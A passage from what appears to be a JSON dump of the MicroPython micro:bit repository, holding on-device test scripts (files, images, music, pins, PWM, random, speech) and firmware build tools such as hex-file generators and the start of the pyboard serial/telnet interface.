write_data_to_file(name, i*3, 16, 4)\n        verify_file(name, data_stream(i*3), 16, 4, 'b')\n    for i in range(80):\n        os.remove(\"%d.dat\" % i)\n        name = \"_%d.dat\" % i\n        write_data_to_file(name, i*3, 16, 4)\n        verify_file(name, data_stream(i*3), 16, 4, 'b')\n    for i in range(80):\n        os.remove(\"_%d.dat\" % i)\n    assert not os.listdir()\n\ndisplay.clear()\ntry:\n    clear_files()\n    test_small_files()\n    test_many_files()\n    test_text_file()\n    print(\"File test: PASS\")\n    display.show(Image.HAPPY)\nexcept Exception as ae:\n    display.show(Image.SAD)\n    raise\n"
  },
  {
    "path": "micropython/tests/test_files2.py",
    "content": "\nimport os\nfrom microbit import display, Image\n\n\ndef data_stream(seed):\n    val = seed&0xffff\n    A = 33\n    C = 509\n    while True:\n        val = (A*val+C)&0xffff\n        yield val >> 8\n\ndef text_stream(seed):\n    val = seed&0xffff\n    A = 33\n    C = 509\n    while True:\n        val = (A*val+C)&0xffff\n        yield chr(val >> 10 + 34)\n\ndef write_data_to_file(name, seed, n, count):\n    print (\"Writing data to \" + name)\n    buf = bytearray(n)\n    d = data_stream(seed)\n    with open(name, 'wb') as fd:\n        for i in range(count):\n            for j in range(n):\n                buf[j] = next(d)\n            fd.write(buf)\n\ndef verify_file(name, stream, n, count, mode):\n    print (\"Verifying data in \" + name)\n    byte_count = 0\n    with open(name, mode) as fd:\n        while True:\n            buf = fd.read(n)\n            assert len(buf) <= n\n            if not buf:\n                break\n            for b in buf:\n                expected = next(stream)\n                assert b == expected, \"expected %d, got %d at %d\" % (expected, b, byte_count)\n                byte_count += 1\n    assert byte_count == n*count, \"expected count of %d, got %d\" % (n*count, byte_count)\n\ndef clear_files():\n    for f in os.listdir():\n        os.remove(f)\n\ndef test_interleaved_small_files():\n    for i in range(80):\n        name = \"%d.dat\" % i\n        write_data_to_file(name, i*3, 16, 6)\n    for i in range(0, 80, 2):\n        os.remove(\"%d.dat\" % i)\n    for i in range(80, 120):\n        name = \"%d.dat\" % i\n        write_data_to_file(name, i*3, 16, 6)\n        verify_file(name, data_stream(i*3), 16, 6, 'b')\n    for i in range(1, 80, 2):\n        os.remove(\"%d.dat\" % i)\n    for i in range(80, 120):\n        os.remove(\"%d.dat\" % i)\n    assert not os.listdir()\n\ndef test_interleaved_large_files():\n    out_buf = bytearray(100)\n    for i in range(100):\n        out_buf[i] = 100-i\n    with open(\"test1.dat\", \"wb\") as fd1:\n        with open(\"test2.dat\", \"wb\") as fd2:\n            for i in range(60):\n                fd1.write(out_buf)\n                fd2.write(out_buf)\n    os.remove(\"test2.dat\")\n    with open(\"test3.dat\", \"wb\") as fd3:\n        for i in range(60):\n            fd3.write(out_buf)\n    assert sorted(os.listdir()) == [ \"test1.dat\", \"test3.dat\" ]\n    in_buf = bytearray(100)\n    with open(\"test1.dat\", \"rb\") as fd:\n        for i in range(60):\n            fd.readinto(in_buf)\n            assert in_buf == out_buf\n    with open(\"test3.dat\", \"rb\") as fd:\n        for i in range(60):\n            fd.readinto(in_buf)\n            assert in_buf == out_buf\n\ndisplay.clear()\ntry:\n    clear_files()\n    test_interleaved_small_files()\n    test_interleaved_large_files()\n    print(\"File test: PASS\")\n    display.show(Image.HAPPY)\nexcept Exception as ae:\n    display.show(Image.SAD)\n    raise\n"
  },
  {
    "path": "micropython/tests/test_files3.py",
    "content": "\nimport os\nfrom microbit import display, Image\n\n#We don't have space for Beowolf, so here's the next best thing...\ntext = \"\"\"\n’Twas brillig, and the slithy toves\n  Did gyre and gimble in the wabe:\nAll mimsy were the borogoves,\n  And the mome raths outgrabe.\n\n“Beware the Jabberwock, my son!\n  The jaws that bite, the claws that catch!\nBeware the Jubjub bird, and shun\n The frumious Bandersnatch!”\n\nHe took his vorpal sword in hand;\n  Long time the manxome foe he sought—\nSo rested he by the Tumtum tree\n  And stood awhile in thought.\n\nAnd, as in uffish thought he stood,\n  The Jabberwock, with eyes of flame,\nCame whiffling through the tulgey wood,\n  And burbled as it came!\n\nOne, two! One, two! And through and through\n  The vorpal blade went snicker-snack!\nHe left it dead, and with its head\n  He went galumphing back.\n\n“And hast thou slain the Jabberwock?\n  Come to my arms, my beamish boy!\nO frabjous day! Callooh! Callay!”\n  He chortled in his joy.\n\n’Twas brillig, and the slithy toves\n  Did gyre and gimble in the wabe:\nAll mimsy were the borogoves,\n  And the mome raths outgrabe.\n\"\"\"\n\ndef test_read_while_writing():\n    j1 = open(\"jabbawocky.txt\", \"w\")\n    j1.write(text)\n    j2 = open(\"jabbawocky.txt\")\n    short = j2.read()\n    assert text.startswith(short)\n    del j2\n    j1.close()\n    j2 = open(\"jabbawocky.txt\")\n    assert j2.read() == text\n    j2.close()\n    os.remove(\"jabbawocky.txt\")\n\ndef test_removing_mid_read():\n    with open(\"jabbawocky.txt\", \"w\") as j:\n        j.write(text)\n    j = open(\"jabbawocky.txt\")\n    os.remove(\"jabbawocky.txt\")\n    try:\n        j.read()\n        assert False, \"Shouldn't reach here\"\n    except OSError:\n        pass\n\ndef test_removing_mid_write():\n    j = open(\"jabbawocky.txt\", \"w\")\n    os.remove(\"jabbawocky.txt\")\n    try:\n        j.write(text)\n        assert False, \"Shouldn't reach here\"\n    except OSError:\n        pass\n\ndef test_repeated_write():\n    for i in range(40):\n        with open(\"jabbawocky.txt\", \"w\") as j:\n            j.write(text)\n\ndisplay.clear()\ntry:\n    test_read_while_writing()\n    test_removing_mid_read()\n    test_removing_mid_write()\n    test_repeated_write()\n    print(\"File test: PASS\")\n    display.show(Image.HAPPY)\nexcept Exception as ae:\n    display.show(Image.SAD)\n    raise\n\n"
  },
  {
    "path": "micropython/tests/test_image.py",
    "content": "\nfrom microbit import display, Image\n\ndef eq(i, j):\n    w = i.width()\n    h = i.height()\n    if w != j.width():\n        return False\n    if h != j.height():\n        return False\n    for x in range(w):\n        for y in range(h):\n            if i.get_pixel(x,y) != j.get_pixel(x,y):\n                return False\n    return True\n\nTEST = Image(\"44444:45554:45654:45554:44444\")\n\ndef test_blit():\n    assert eq(TEST, TEST)\n    i = Image(4, 4)\n    i.blit(TEST, 1, 1, 5, 5)\n    assert eq(i, Image(\"5554:5654:5554:4444\"))\n    i.fill(2)\n    i.blit(TEST, -2, -2, 3, 3)\n    assert eq(i, Image('0002:0002:0042:2222'))\n    i.fill(2)\n    i.blit(TEST, 2, 2, 3, 3)\n    assert eq(i, Image('6542:5542:4442:2222'))\n    i.fill(2)\n    i.blit(TEST, 0, 0, 5, 5, -3, -3)\n    assert eq(i, Image('5422:4422:2222:2222'))\n    i.fill(2)\n    i.blit(TEST, 2, 2, 2, 2, 1, 1)\n    assert eq(i, Image('2222:2652:2552:2222'))\n    i = TEST.copy()\n    i.blit(i, 2, 2, 3, 3)\n    assert eq(i, Image('65444:55454:44454:45554:44444'))\n    i = TEST.copy()\n    i.blit(i, -2, -2, 5, 5)\n    assert eq(i, Image('00000:00000:00444:00455:00456'))\n    i = TEST.copy()\n    i.blit(i, 0, 0, 3, 3, 2, 2)\n    assert eq(i, Image('44444:45554:45444:45455:44456'))\n    i = Image(2, 7)\n    i.fill(2)\n    i.blit(TEST, -100, -100, 50, 50, 1, 1)\n    assert eq(i, Image('22:20:20:20:20:20:20'))\n\ndef test_crop():\n    assert eq(TEST.crop(-1, -1, 2, 2), Image('00:04'))\n    assert eq(TEST.crop(1, 1, 2, 2), Image('55:56'))\n    assert eq(TEST.crop(4, 4, 3, 3), Image('400:000:000'))\n\ndef test_shift():\n    assert eq(TEST, TEST.shift_left(0))\n    assert eq(TEST, TEST.shift_up(0))\n    for n in range(-6, 7):\n        assert eq(TEST.shift_left(n), TEST.shift_right(-n))\n        assert eq(TEST.shift_up(n), TEST.shift_down(-n))\n    assert eq(TEST.shift_left(1), Image('44440:55540:56540:55540:44440'))\n    assert eq(TEST.shift_down(1), Image('00000:44444:45554:45654:45554'))\n\ntry:\n    display.scroll(\"blit\")\n    test_blit()\n    display.scroll(\"crop\")\n    test_crop()\n    display.scroll(\"shift\")\n    test_shift()\n    print(\"Image test: PASS\")\n    display.show(Image.HAPPY)\nexcept Exception as ae:\n    display.show(Image.SAD)\n    raise\n"
  },
  {
    "path": "micropython/tests/test_music.py",
    "content": "\nfrom microbit import display, Image, pin0, pin1, pin2, pin8\nimport music\n\nPINS = pin0, pin1, pin2, pin8\nFREQS = 400, 500, 600, 700, 800, 900\n\ndef test_rapid_pin_switch():\n    for i in range(20):\n        for pin in PINS:\n            music.play(music.NYAN, pin, wait=False)\n\ndef test_rapid_pitch_switch():\n    for i in range(20):\n        for freq in FREQS:\n            music.pitch(freq, wait=False)\n\ndef test_repeated_stop():\n    for i in range(20):\n        music.stop()\n\ndef test_repeated_reset():\n    for i in range(20):\n        music.reset()\n\ndef test_repeated_set_tempo():\n    for i in range(20):\n        music.set_tempo(ticks=i%4+1, bpm=i+100)\n\ndef test_all_pins_free():\n    for pin in PINS:\n        pin.read_digital()\n\ndisplay.clear()\ntry:\n    test_rapid_pin_switch()\n    test_rapid_pitch_switch()\n    test_repeated_stop()\n    test_repeated_reset()\n    test_repeated_set_tempo()\n    test_all_pins_free()\n    print(\"File test: PASS\")\n    display.show(Image.HAPPY)\nexcept Exception as ae:\n    display.show(Image.SAD)\n    raise\n"
  },
  {
    "path": "micropython/tests/test_pins.py",
    "content": "#This tests that the mode of pins can be configured properly and that pull works OK.\n\nfrom microbit import *\nimport music\n\nBIG_PINS = pin0, pin1, pin2\nDISPLAY_PINS = pin3, pin4, pin6, pin7, pin9, pin10\n\ndef test_mode_switching():\n    print (\"Switching mode from analog to digital on big pins\")\n    for p0 in BIG_PINS:\n        p0.write_analog(100)\n        for p1 in BIG_PINS:\n             p1.write_digital(0)\n        p0.write_analog(0)\n    for p in BIG_PINS:\n        p.write_analog(100)\n        assert p.get_mode() == \"write_analog\"\n        p.read_digital()\n        assert p.get_mode() == \"read_digital\"\n        p.write_analog(0)\n        assert p.get_mode() == \"unused\"\n        p.write_digital(1)\n        assert p.get_mode() == \"write_digital\"\n        p.read_analog()\n        assert p.get_mode() == \"unused\"\n\ndef test_display_pins():\n    print (\"Switching mode to digital for display pins\")\n    for p0 in DISPLAY_PINS:\n        try:\n            p0.write_digital(0)\n        except ValueError:\n            pass\n        try:\n            p0.write_analog(0)\n        except ValueError:\n            pass\n    display.off()\n    for p0 in DISPLAY_PINS:\n        p0.write_digital(0)\n    display.on()\n    display.off()\n    for p0 in DISPLAY_PINS:\n        p0.write_analog(200)\n    display.on()\n\ndef test_music():\n    print (\"Switching mode to digital for music pins\")\n    music.play(music.DADADADUM,pin=pin0,wait=False)\n    try:\n        pin0.write_digital(0)\n    except ValueError:\n        pass\n    music.stop()\n    pin0.write_digital(0)\n    \ndef test_pull():\n    print (\"Setting pull on big pins\")\n    for p in BIG_PINS:\n        p.read_digital()\n        p.set_pull(p.PULL_UP)\n        assert p.get_pull() == p.PULL_UP\n        assert p.read_digital()\n        p.set_pull(p.PULL_DOWN)\n        assert p.get_pull() == p.PULL_DOWN\n        assert p.read_digital() == 0\n        p.set_pull(p.NO_PULL)\n        assert p.get_pull() == p.NO_PULL\n    print (\"Setting pull on display pins\")\n    display.off()\n    for p in DISPLAY_PINS:\n        p.read_digital()\n        p.set_pull(p.PULL_UP)\n        assert p.read_digital()\n        p.set_pull(p.PULL_DOWN)\n        assert p.read_digital() == 0\n    display.on()\n\ntry:\n    test_mode_switching()\n    test_display_pins()\n    test_music()\n    test_pull()\n    print(\"Pin test: PASS\")\n    display.show(Image.HAPPY)\nexcept Exception as ae:\n    display.show(Image.SAD)\n    raise\n\n"
  },
  {
    "path": "micropython/tests/test_pwm.py",
    "content": "#This tests that the duty cycle of PWM is (approximately) correct.\n\nfrom microbit import *\n\ndef pins_connected(p0, p1):\n    for i in 0,1,0,1,0,1,0,1:\n        p0.write_digital(i)\n        if p1.read_digital() != i:\n            return False\n        p1.write_digital(i)\n        if p0.read_digital() != i:\n            return False\n    return True\n\ndef test_pwm(p0, p1):\n    #Flip between modes many times\n    for i in range(100):\n        pin0.write_digital(i & 1)\n        pin0.write_analog(i*10)\n    #Now make sure it is still working.\n    p0.write_digital(0)\n    for val in 100, 200, 300, 500, 800, 900:\n        print(\"Testing duty cycle\", val)\n        p0.write_analog(val)\n        sleep(20)\n        count = 0\n        for i in range(10*1024):\n            count += p1.read_digital()\n        print(\"%+0.2f%%\" % ((count-val*10)/val*10))\n        # Allow +- 5%\n        assert abs(count - val*10) < val//2\n\ntry:\n    if pins_connected(pin0, pin1):\n        test_pwm(pin0, pin1)\n        print(\"PWM test: PASS\")\n        display.show(Image.HAPPY)\n    else:\n        print(\"Connect pin0 to pin1\")\n        display.show(\"?\")\nexcept Exception as ae:\n    display.show(Image.SAD)\n    raise\n\n"
  },
  {
    "path": "micropython/tests/test_random.py",
    "content": "# test the random module\n\nimport random\n\nresult = ('FAIL', 'PASS')\n\n# test getrandbits\nhist = 8 * [0]\nfor i in range(300):\n    r = random.getrandbits(3)\n    hist[r] += 1\nok = all(h >= 10 for h in hist)\nprint('getrandbits:', result[ok])\n\n# test seed\nrandom.seed(0x1234567)\nr1 = random.getrandbits(10)\nrandom.seed(0x1234567)\nr2 = random.getrandbits(10)\nprint('seed:       ', result[r1 == r2])\n\n# test randint is within the given range\nok = True\nfor i in range(100):\n    if not 0 <= random.randint(0, 9) <= 9:\n        ok = False\nprint('randint:    ', result[ok])\n"
  },
  {
    "path": "micropython/tests/test_speech.py",
    "content": "# test speech module\n\nimport microbit\nimport speech\n\ndef test_funcs():\n    print('Testing basic functions')\n    ph = speech.translate('hello world')\n    assert ph == ' /HEHLOW WERLD'\n    speech.pronounce('PIHTHUN', pitch=32, speed=60, mouth=100, throat=150)\n    speech.say('hello')\n    speech.sing('YEHSTERDEY5')\n\ndef test_sleep():\n    # check that sleep works ok with speech because they both use low-level timers\n    # (this is really a test of the audio module)\n    print('Testing sleep with speech')\n    microbit.sleep(1)\n    speech.say('hello world')\n    microbit.sleep(1)\n\ndef test_timing():\n    # test that speech takes the correct amount of time over many runs\n    print('Testing timing of say function')\n    for i in range(5):\n        start = microbit.running_time()\n        speech.say('hello world')\n        microbit.sleep(1)\n        stop = microbit.running_time()\n        assert 800 < stop - start < 815\n\ntry:\n    test_funcs()\n    test_sleep()\n    test_timing()\n    print('Speech test: PASS')\nexcept Exception as ae:\n    raise\n"
  },
  {
    "path": "micropython/tools/adduicr.py",
    "content": "#!/usr/bin/env python3\n\n'''\nAdd a UICR region to the hex firmware for MicroPython on the micro:bit.\n\nUsage: ./adduicr.py <firmware.hex> <version_string_address> [-o <combined.hex>]\n\nOutput goes to stdout if no filename is given.\n'''\n\nimport sys\nimport struct\nimport argparse\nimport hexlifyscript\nimport makecombinedhex\n\nNRF_PAGE_SIZE_LOG2 = 10\nNRF_PAGE_SIZE = 1 << NRF_PAGE_SIZE_LOG2\nUICR_BASE_ADDR = 0x100010c0\nUICR_MAGIC_NUMBER = 0x17eeb07c\n\nif __name__ == '__main__':\n    arg_parser = argparse.ArgumentParser(description='Add UICR region to hex firmware for the micro:bit.')\n    arg_parser.add_argument('-o', '--output', default=sys.stdout, type=argparse.FileType('wt'), help='output file (default is stdout)')\n    arg_parser.add_argument('firmware', nargs=1, help='input MicroPython firmware')\n    arg_parser.add_argument('address', nargs=1, type=lambda x: int(x, 0), help='address in flash of the version string')\n    args = arg_parser.parse_args()\n\n    # read in the firmware\n    with open(args.firmware[0], 'rt') as f:\n        firmware = f.readlines()\n\n    # print head of firmware\n    for line in firmware[:-2]:\n        print(line, end='', file=args.output)\n\n    # make UICR data\n    uicr_data = b''\n    uicr_data += struct.pack('<III', UICR_MAGIC_NUMBER, 0xffffffff, NRF_PAGE_SIZE_LOG2)\n    uicr_data += struct.pack('<HHII', 0, (makecombinedhex.get_largest_addr(firmware) + NRF_PAGE_SIZE - 1) // NRF_PAGE_SIZE, 0xffffffff, args.address[0])\n    uicr_data += struct.pack('<I', 0)\n\n    # print UICR data\n    print(hexlifyscript.make_ihex_record(0, hexlifyscript.IHEX_TYPE_EXT_LIN_ADDR, struct.pack('>H', UICR_BASE_ADDR >> 16)), file=args.output)\n    for i in range(0, len(uicr_data), 16):\n        chunk = uicr_data[i:min(i + 16, len(uicr_data))]\n        print(hexlifyscript.make_ihex_record(UICR_BASE_ADDR + i, hexlifyscript.IHEX_TYPE_DATA, chunk), file=args.output)\n\n    # print tail of firmware\n    print(firmware[-2], end='', file=args.output)\n    print(firmware[-1], end='', file=args.output)\n"
  },
  {
    "path": "micropython/tools/hexlifyscript.js",
    "content": "/*\nTurn a Python script into Intel HEX format to be concatenated at the\nend of the MicroPython firmware.hex.  A simple header is added to the\nscript.\n\nTo execute from command line: node hexlifyscript.js <script.py>\n*/\n\n// hexlifyScript:\n// - takes a Python script as a string\n// - returns hexlified string, with newlines between lines\nfunction hexlifyScript(script) {\n    function hexlify(ar) {\n        var result = '';\n        for (var i = 0; i < ar.length; ++i) {\n            if (ar[i] < 16) {\n                result += '0';\n            }\n            result += ar[i].toString(16);\n        }\n        return result;\n    }\n\n    // add header, pad to multiple of 16 bytes\n    data = new Uint8Array(4 + script.length + (16 - (4 + script.length) % 16));\n    data[0] = 77; // 'M'\n    data[1] = 80; // 'P'\n    data[2] = script.length & 0xff;\n    data[3] = (script.length >> 8) & 0xff;\n    for (var i = 0; i < script.length; ++i) {\n        data[4 + i] = script.charCodeAt(i);\n    }\n    // TODO check data.length < 0x2000\n\n    // convert to .hex format\n    var addr = 0x3e000; // magic start address in flash\n    var chunk = new Uint8Array(5 + 16);\n    var output = [];\n    output.push(':020000040003F7') // extended linear address, 0x0003\n    for (var i = 0; i < data.length; i += 16, addr += 16) {\n        chunk[0] = 16; // length of data section\n        chunk[1] = (addr >> 8) & 0xff; // high byte of 16-bit addr\n        chunk[2] = addr & 0xff; // low byte of 16-bit addr\n        chunk[3] = 0; // type (data)\n        for (var j = 0; j < 16; ++j) {\n            chunk[4 + j] = data[i + j];\n        }\n        var checksum = 0;\n        for (var j = 0; j < 4 + 16; ++j) {\n            checksum += chunk[j];\n        }\n        chunk[4 + 16] = (-checksum) & 0xff;\n        output.push(':' + hexlify(chunk).toUpperCase())\n    }\n\n    return output.join('\\n');\n}\n\n// read script from file, hexlify, then print to console\nconsole.log(hexlifyScript(require('fs').readFileSync(process.argv[2], 'utf8')));\n"
  },
  {
    "path": "micropython/tools/hexlifyscript.py",
    "content": "#!/usr/bin/env python3\n\n'''\nTurn a Python script into Intel HEX format to be concatenated at the\nend of the MicroPython firmware.hex.  A simple header is added to the\nscript.\n\nTo execute from command line: ./hexlifyscript.py <script.py>\nIt also accepts data on standard input.\n'''\n\nimport struct\nimport binascii\nimport fileinput\n\n\nIHEX_TYPE_DATA = 0\nIHEX_TYPE_EXT_LIN_ADDR = 4\n\nSCRIPT_ADDR = 0x3e000 # magic start address in flash of script\n\ndef make_ihex_record(addr, type, data):\n    record = struct.pack('>BHB', len(data), addr & 0xffff, type) + data\n    checksum = (-(sum(record))) & 0xff\n    return ':%s%02X' % (str(binascii.hexlify(record), 'utf8').upper(), checksum)\n\ndef hexlify_script(script):\n    # add header, pad to multiple of 16 bytes\n    data = b'MP' + struct.pack('<H', len(script)) + script\n    data = data + bytes(16 - len(data) % 16)\n    assert len(data) <= 0x2000\n\n    # convert to .hex format\n    output = []\n    addr = SCRIPT_ADDR\n    assert(SCRIPT_ADDR >> 16 == 3) # 0x0003 is hard coded in line below\n    output.append(make_ihex_record(0, IHEX_TYPE_EXT_LIN_ADDR, b'\\x00\\x03'))\n    for i in range(0, len(data), 16):\n        chunk = data[i:min(i + 16, len(data))]\n        output.append(make_ihex_record(addr, IHEX_TYPE_DATA, chunk))\n        addr += 16\n\n    return '\\n'.join(output)\n\nif __name__ == '__main__':\n    # read script from a file and print out the hexlified version\n    with fileinput.input(mode='rb') as lines:\n        print(hexlify_script(b''.join(lines)))\n"
  },
  {
    "path": "micropython/tools/makecombinedhex.py",
    "content": "#!/usr/bin/env python3\n\n'''\nCombine the MicroPython firmware with a Python script and produce a hex file\nready for uploading to the micro:bit.\n\nUsage: ./makecombinedhex.py <firmware.hex> <script.py> [-o <combined.hex>]\n\nOutput goes to stdout if no filename is given.\n'''\n\nimport sys\nimport argparse\nimport hexlifyscript\n\ndef get_largest_addr(hexfile):\n    largest_addr = 0\n    for line in hexfile:\n        count = int(line[1:3], 16)\n        addr = int(line[3:7], 16)\n        type = int(line[7:9], 16)\n        if count == 2 and type == 4: # ext linear addr\n            page = int(line[9:13], 16) << 16\n        elif type == 0: # data\n            # only count pages in flash, not in the UICR\n            if page < 0x10000000:\n                largest_addr = max(largest_addr, page + addr + count)\n    return largest_addr\n\ndef find_uicr_line(hexfile):\n    for i, line in enumerate(hexfile):\n        # UICR from 0x10001000 so we expect an extended linear address record\n        if ':020000041000EA' in line:\n            return i\n    return None\n\nif __name__ == '__main__':\n    arg_parser = argparse.ArgumentParser(description='Produce combined hex firmware for the micro:bit.')\n    arg_parser.add_argument('-o', '--output', default=sys.stdout, type=argparse.FileType('wt'), help='output file (default is stdout)')\n    arg_parser.add_argument('firmware', nargs=1, help='input MicroPython firmware')\n    arg_parser.add_argument('script', nargs=1, help='input Python script')\n    args = arg_parser.parse_args()\n\n    # read in the firmware\n    with open(args.firmware[0], 'rt') as f:\n        firmware = f.readlines()\n\n    # check the firmware is not too large\n    if get_largest_addr(firmware) > hexlifyscript.SCRIPT_ADDR:\n        raise Exception('firmware overflows into script region')\n\n    # hexlify the script\n    with open(args.script[0], 'rb') as f:\n        script = hexlifyscript.hexlify_script(f.read())\n\n    # print lines until UICR area or the start linear address record\n    firmware_end = find_uicr_line(firmware) or len(firmware) - 2\n    for line in firmware[:firmware_end]:\n        print(line, end='', file=args.output)\n\n    # print script\n    print(script, file=args.output)\n\n    # print rest of hex file\n    for line in firmware[firmware_end:]:\n        print(line, end='', file=args.output)\n"
  },
  {
    "path": "micropython/tools/makeqstrhdr.sh",
    "content": "#!/bin/sh\n#\n# This script generates the qstrdefs.generated.h file.  You'll need to run\n# it if you change any code with \"MP_QSTR_xxx\" in it, or if you get an\n# error from the compiler about undefined MP_QSTR_xxx constants.\n#\n# Run it from the root directory, like this:\n#\n# $ ./tools/makeqstrhdr.sh\n\nMKDIR=mkdir\nCAT=cat\nSED=sed\nPYTHON=python\n\nINC=\"-I. -Iinc -Iinc/lib -Iinc/microbit -Isource -Iyotta_modules/microbit-dal/inc/platform -Iyotta_modules/microbit-dal/inc/types -Iyotta_modules/microbit-dal/inc/core -Iyotta_modules/microbit-dal/inc/drivers -Iyotta_modules/mbed-classic/hal -Iyotta_modules/mbed-classic/targets/cmsis -Iyotta_modules/mbed-classic/api -Iyotta_modules/nrf51-sdk/source/nordic_sdk/components/device -Iyotta_modules/nrf51-sdk/source/nordic_sdk/components/drivers_nrf/hal -I./yotta_modules/mbed-classic/targets/cmsis/TARGET_NORDIC/TARGET_MCU_NRF51822 -Iyotta_modules/mbed-classic/targets/hal/TARGET_NORDIC/TARGET_MCU_NRF51822 -I./yotta_modules/mbed-classic/targets/hal/TARGET_NORDIC/TARGET_MCU_NRF51822/TARGET_NRF51_MICROBIT -Iyotta_modules/ble\"\nDEF=\"-DNRF51 -DYOTTA_BUILD_INFO_HEADER=<build/bbc-microbit-classic-gcc-nosd/yotta_build_info.h>\"\nCC=arm-none-eabi-gcc\nCXX=arm-none-eabi-g++\nCFLAGS=\"$INC $DEF -Wall -Wpointer-arith -Werror -std=c99 -nostdlib\"\nCXXFLAGS=\"$INC $DEF -Wall\"\n\nTOP=source\nGENHDRDIR=./inc/genhdr\nSRC_C=$(find source -name '*.c')\nSRC_CXX=$(find source -name '*.cpp')\nQSTR_EXTRA=\"inc/py/qstrdefs.h inc/microbit/qstrdefsport.h\"\n\nmkdir -p $GENHDRDIR\n\necho \"Preprocessing the source files\"\n$CC -E -DNO_QSTR $CFLAGS $SRC_C > $GENHDRDIR/qstr.i.last || exit 1\n$CXX -E -DNO_QSTR $CXXFLAGS $SRC_CXX >> $GENHDRDIR/qstr.i.last || exit 1\n\necho \"Extracting all qstrs\"\n$PYTHON $TOP/py/makeqstrdefs.py split $GENHDRDIR/qstr.i.last $GENHDRDIR/qstr $GENHDRDIR/qstrdefs.collected.h || exit 1\n$PYTHON $TOP/py/makeqstrdefs.py cat $GENHDRDIR/qstr.i.last $GENHDRDIR/qstr $GENHDRDIR/qstrdefs.collected.h || exit 1\n\necho \"Generating qstr header\"\n$CAT $QSTR_EXTRA $GENHDRDIR/qstrdefs.collected.h | $SED 's/^Q(.*)/\"&\"/' | $CC -E $CFLAGS - | $SED 's/^\"\\(Q(.*)\\)\"/\\1/' > $GENHDRDIR/qstrdefs.preprocessed.h || exit 1\n$PYTHON $TOP/py/makeqstrdata.py $GENHDRDIR/qstrdefs.preprocessed.h > $GENHDRDIR/qstrdefs.generated.h || exit 1\n"
  },
  {
    "path": "micropython/tools/makeversionhdr.py",
    "content": "#!/usr/bin/env python\n\n\"\"\"\nGenerate header file with macros defining micro:bit version info.\n\nThis script works with Python 2.6, 2.7, 3.3 and 3.4.\n\"\"\"\n\nfrom __future__ import print_function\n\nimport sys\nimport os\nimport datetime\nimport subprocess\n\ndef get_version_info_from_git():\n    # Python 2.6 doesn't have check_output, so check for that\n    try:\n        subprocess.check_output\n        subprocess.check_call\n    except AttributeError:\n        return None\n\n    # Note: git describe doesn't work if no tag is available\n    try:\n        git_tag = subprocess.check_output([\"git\", \"describe\", \"--dirty\", \"--always\"], stderr=subprocess.STDOUT, universal_newlines=True).strip()\n    except subprocess.CalledProcessError as er:\n        if er.returncode == 128:\n            # git exit code of 128 means no repository found\n            return None\n        git_tag = \"\"\n    except OSError:\n        return None\n    try:\n        git_hash = subprocess.check_output([\"git\", \"rev-parse\", \"--short\", \"HEAD\"], stderr=subprocess.STDOUT, universal_newlines=True).strip()\n    except subprocess.CalledProcessError:\n        git_hash = \"unknown\"\n    except OSError:\n        return None\n\n    try:\n        # Check if there are any modified files.\n        subprocess.check_call([\"git\", \"diff\", \"--no-ext-diff\", \"--quiet\", \"--exit-code\"], stderr=subprocess.STDOUT)\n        # Check if there are any staged files.\n        subprocess.check_call([\"git\", \"diff-index\", \"--cached\", \"--quiet\", \"HEAD\", \"--\"], stderr=subprocess.STDOUT)\n    except subprocess.CalledProcessError:\n        git_hash += \"-dirty\"\n    except OSError:\n        return None\n\n    return git_tag, git_hash\n\ndef make_version_header(filename):\n    # Get version info using git, with fallback to docs/conf.py\n    info = get_version_info_from_git()\n    if info is None:\n        info = \"unknown\", \"unknown\"\n\n    git_tag, git_hash = info\n\n    # Generate the file with the git and version info\n    file_data = \"\"\"\\\n// This file was generated by tools/makeversionhdr.py\n#define MICROBIT_GIT_TAG \"%s\"\n#define MICROBIT_GIT_HASH \"%s\"\n#define MICROBIT_BUILD_DATE \"%s\"\n\"\"\" % (git_tag, git_hash, datetime.date.today().strftime(\"%Y-%m-%d\"))\n\n\n    # Check if the file contents changed from last time\n    write_file = True\n    if os.path.isfile(filename):\n        with open(filename, 'r') as f:\n            existing_data = f.read()\n        if existing_data == file_data:\n            write_file = False\n\n    # Only write the file if we need to\n    if write_file:\n        print(\"Generate %s\" % filename)\n        with open(filename, 'w') as f:\n            f.write(file_data)\n\nif __name__ == \"__main__\":\n    make_version_header(sys.argv[1])\n"
  },
  {
    "path": "micropython/tools/pyboard.py",
    "content": "#!/usr/bin/env python\n\n\"\"\"\npyboard interface\n\nThis module provides the Pyboard class, used to communicate with and\ncontrol the pyboard over a serial USB connection.\n\nExample usage:\n\n    import pyboard\n    pyb = pyboard.Pyboard('/dev/ttyACM0')\n\nOr:\n\n    pyb = pyboard.Pyboard('192.168.1.1')\n\nThen:\n\n    pyb.enter_raw_repl()\n    pyb.exec('pyb.LED(1).on()')\n    pyb.exit_raw_repl()\n\nNote: if using Python2 then pyb.exec must be written as pyb.exec_.\nTo run a script from the local machine on the board and print out the results:\n\n    import pyboard\n    pyboard.execfile('test.py', device='/dev/ttyACM0')\n\nThis script can also be run directly.  To execute a local script, use:\n\n    ./pyboard.py /dev/ttyACM0 test.py\n\nOr:\n\n    python pyboard.py /dev/ttyACM0 test.py\n\n\"\"\"\n\nimport sys\nimport time\n\ntry:\n    stdout = sys.stdout.buffer\nexcept AttributeError:\n    # Python2 doesn't have buffer attr\n    stdout = sys.stdout\n\ndef stdout_write_bytes(b):\n    b = b.replace(b\"\\x04\", b\"\")\n    stdout.write(b)\n    stdout.flush()\n\nclass PyboardError(BaseException):\n    pass\n\nclass TelnetToSerial:\n    def __init__(self, ip, user, password, read_timeout=None):\n        import telnetlib\n        self.tn = telnetlib.Telnet(ip, timeout=15)\n        self.read_timeout = read_timeout\n        if b'Login as:' in self.tn.read_until(b'Login as:', timeout=read_timeout):\n            self.tn.write(bytes(user, 'ascii') + b\"\\r\\n\")\n\n            if b'Password:' in self.tn.read_until(b'Password:', timeout=read_timeout):\n                # needed because of internal implementation details of the telnet server\n                time.sleep(0.2)\n                self.tn.write(bytes(password, 'ascii') + b\"\\r\\n\")\n\n                if b'for more information.' in self.tn.read_until(b'Type \"help()\" for more information.', timeout=read_timeout):\n                    # login succesful\n                    from collections import deque\n                    self.fifo = deque()\n                    return\n\n        raise PyboardError('Failed to establish a telnet connection with the board')\n\n    def __del__(self):\n        self.close()\n\n    def close(self):\n        try:\n            self.tn.close()\n        except:\n            # the telnet object might not exist yet, so ignore this one\n            pass\n\n    def read(self, size=1):\n        while len(self.fifo) < size:\n            timeout_count = 0\n            data = self.tn.read_eager()\n            if len(data):\n                self.fifo.extend(data)\n                timeout_count = 0\n            else:\n                time.sleep(0.25)\n                if self.read_timeout is not None and timeout_count > 4 * 